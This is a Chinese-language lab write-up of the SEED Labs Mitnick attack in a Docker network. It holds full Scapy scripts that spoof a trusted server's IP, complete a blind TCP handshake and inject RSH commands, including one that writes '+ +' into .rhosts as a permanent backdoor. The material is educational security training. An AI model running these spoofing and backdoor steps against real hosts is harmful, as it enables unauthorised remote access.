实验环境
基础环境
我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习
网络结构如下:
| 节点 |
IP 地址 |
作用 |
| 攻击机 |
10.9.0.1 |
伪造身份并发送攻击报文 |
| X-Terminal |
10.9.0.5 |
受害主机 |
| Trusted Server |
10.9.0.6 |
被受害者信任的服务器 |
启动实验前先停止并清理容器环境,防止被之前的网络配置干扰
1
2
|
sudo docker stop $(sudo docker ps -q) 2>/dev/null
sudo docker system prune -f
|
进入实验目录并启动
1
2
|
cd seed-labs/category-network/Mitnick_Attack/Labsetup
sudo docker compose up -d
|
打开三个终端分别进入对应的容器
攻击者:
1
|
docker exec -it seed-attacker /bin/bash
|
受害者:
1
|
docker exec -it x-terminal-10.9.0.5 /bin/bash
|
受信任服务器:
1
|
docker exec -it trusted-server-10.9.0.6 /bin/bash
|
建立信任关系
Mitnick 攻击的原理就是利用受害者和服务器的信任关系,因此实验开始前必须先进行配置
在受害者容器中切换到 seed 用户,配置.rhosts文件来信任来自服务器的连接
1
2
3
4
5
|
su seed
cd ~
touch .rhosts
echo 10.9.0.6 > .rhosts
chmod 644 .rhosts
|
.rhosts是声明当前主机信任哪些远程主机的文件,写入10.9.0.6表示信任来自服务器的远程访问请求
在服务器容器中切换到 seed 用户,用 rsh 远程执行命令获取受害者时间,如果返回正确的受害者系统时间而且不需要输入密码,说明信任关系建立成功
1
2
|
su seed
rsh 10.9.0.5 date
|
阻断真实服务器
攻击的关键是伪造受信任服务器的身份,然后和受害者建立连接。为了防止真实服务器收到伪造包后回复RST关闭连接,攻击者需要让真实服务器暂时无法正常回应。一般会使用 SYN 洪泛攻击让服务器无法处理正常连接
这个实验使用静态 ARP 映射来模拟洪泛攻击效果。首先在受害者容器把 10.9.0.6 映射到一个不存在的 MAC 地址,让受害者发往服务器的报文无法真正到达
输入exit退出seed进入root,然后输入下面的命令修改受害者的arp缓存
1
2
|
arp -s 10.9.0.6 aa:bb:cc:dd:ee:ff
arp -n
|
可以看到修改前受害者可以ping通服务器,修改后就全部丢包,之后服务器就无法对实验产生任何干扰了,相当于静默状态
伪造 TCP 连接与 RSH 会话
攻击者伪造受信任服务器的 IP 地址,向受害者发起连接,盲猜 TCP 序列号完成握手。连接建立后,再通过 RSH 协议注入命令
修改攻击脚本
打开 volumes/spoof_ack_plus_data.py,将注入命令改成创建 /tmp/mitnick 文件:
1
|
data = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
|
输入ip addr确认攻击者容器的网卡名,找到 10.9.0.1 对应的网卡,我这里是叫br-302e4ba285b3
将所有攻击脚本末尾 sniff() 函数中的 iface 改成实际的网卡名,否则脚本正常运行,但实际上抓不到目标的通信流量
执行攻击
在攻击机容器中需要开启三个终端,并行运行三个脚本
终端 1 运行 spoof_ack_plus_data.py:
1
2
|
cd volumes
python3 spoof_ack_plus_data.py
|
这个脚本负责盲猜序列号,伪造 ACK 完成握手,并发送 RSH 命令数据、
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#!/usr/bin/python3
from scapy.all import *
import time
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
srv_port2 = 9090
syn_seq = 0x1000 # Initial sequence number
# Spoof the ACK to finish 3-way handshake initiated by the attacker
# After that, spoof a rsh data packet
# We are only allowed to use the sequence number in the captured packet
def spoof(pkt):
old_tcp = pkt[TCP]
if old_tcp.flags == 'SA':
# Spoof ACK to finish the handshake protocol
ip = IP( src = srv_ip,
dst = x_ip)
tcp = TCP(sport = srv_port,
dport = x_port,
seq = syn_seq + 1,
ack = old_tcp.seq + 1,
flags="A")
print(' {}-->{} Spoofing ACK'.format(tcp.sport, tcp.dport))
send(ip/tcp, verbose=0)
# Send rsh command to X-Terminal
tcp.flags="PA"
data = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
#data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
print(' Sending data: {}'.format(data))
send(ip/tcp/data, verbose=0)
# Reset the connection after 2 seconds
# This is not necessary. We did this, so we can repeat the attack.
time.sleep(2)
tcp.flags = "R"
tcp.seq = syn_seq + 1 + len(data)
print(' {}-->{} Resetting connection'.format(tcp.sport, tcp.dport))
send(ip/tcp, verbose=0)
f = 'tcp and src host {} and src port {} and dst host {} and dst port {}'
myFilter = f.format(x_ip, x_port, srv_ip, srv_port)
sniff(iface='br-302e4ba285b3', filter=myFilter, prn=spoof)
|
终端 2 运行 spoof_syn_ack_2nd.py:
1
2
|
cd volumes
python3 spoof_syn_ack_2nd.py
|
这个脚本用于处理 X-Terminal 产生的第二个反向连接握手
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/python3
from scapy.all import *
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
srv_port2 = 9090 # Port number used by the 2nd connection
syn_seq = 0x1000 # Initial sequence number
# Spoof the SYN+ACK to finish the 2nd connection intiated by X-Terminal
# Only allowed to use the sequence number & src port in captured packet
def spoof(pkt):
# Spoof a SYN+ACK reply after receiving a SYN packet
old_tcp = pkt[TCP]
if old_tcp.flags == 'S':
print(' {}-->{} Spoofing SYN+ACK.'.format(old_tcp.dport, old_tcp.sport))
####################################################
ip = IP ( src = srv_ip,
dst = x_ip)
tcp = TCP( sport = srv_port2,
dport = old_tcp.sport,
seq = 2000, # can be any number
ack = old_tcp.seq + 1,
flags="SA") # Set the SYN + ACK bits
####################################################
send(ip/tcp, verbose=0)
f = 'tcp and src host {} and dst port {}'.format(x_ip, srv_port2)
sniff(iface='br-302e4ba285b3', filter=f, prn=spoof)
|
终端 3 运行 spoof_syn.py:
1
2
|
cd volumes
python3 spoof_syn.py
|
这个脚本负责向 X-Terminal 发送伪造的 SYN 包,触发整个攻击流程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#!/usr/bin/python3
from scapy.all import *
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
port_2nd = 9090 # Port number used by the 2nd connection
syn_seq = 0x1000 # Initial sequence number
# Spoof a SYN from Trusted Server to X-Terminal
ip = IP( src = srv_ip, dst = x_ip)
tcp = TCP( sport = srv_port, dport = x_port,
seq = syn_seq, flags = 'S')
print('Sending SYN...')
send(ip/tcp, verbose=1)
|
验证攻击结果
回到受害者容器中检查 /tmp/mitnick 文件是否生成,这里可以看到文件说明攻击者成功伪造服务器身份并注入了命令
设置永久后门
前面的攻击只是创建了一个文件。为了进一步利用受害者,攻击者可以通过注入命令修改 .rhosts 文件来植入永久后门
修改攻击载荷
在攻击机中修改 spoof_ack_plus_data.py 的数据部分,将原来的 touch 命令替换为修改 .rhosts 的命令
1
|
data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
|
+ + 表示信任任意主机上的任意用户。这个配置非常危险,一旦写入成功,攻击者就可以直接登录受害主机
重新执行攻击流程
重新运行前面的三个攻击脚本:
1
2
3
|
python3 spoof_ack_plus_data.py
python3 spoof_syn_ack_2nd.py
python3 spoof_syn.py
|
攻击完成后,回到攻击机容器中切换到 seed 用户,并尝试直接登录 X-Terminal:
1
2
|
su seed
rlogin 10.9.0.5
|
如果无需密码即可进入 10.9.0.5 的 Shell,说明后门已经植入成功。
进入后可以查看 .rhosts 文件内容:
如果文件内容变成:
说明 X-Terminal 的信任策略已经被篡改,攻击者获得了对受害主机的直接访问权限。
实验结论
Mitnick 攻击利用了早期 TCP 协议和基于主机信任机制的安全缺陷。攻击者先让真实 Trusted Server 静默,再伪造其 IP 地址与 X-Terminal 建立连接,通过预测 TCP 序列号完成伪造握手,最后借助 RSH 协议注入命令。
这个实验可以看出,单纯依赖 IP 地址和主机信任关系进行认证是不安全的。攻击者只要能够伪造源 IP 并预测连接状态,就可能绕过登录认证。
RSH、RLOGIN 这类协议本身缺乏加密和强认证机制,已经不适合在真实环境中使用。实际环境中应使用 SSH 替代,并关闭 .rhosts、hosts.equiv 这类基于主机信任的认证方式。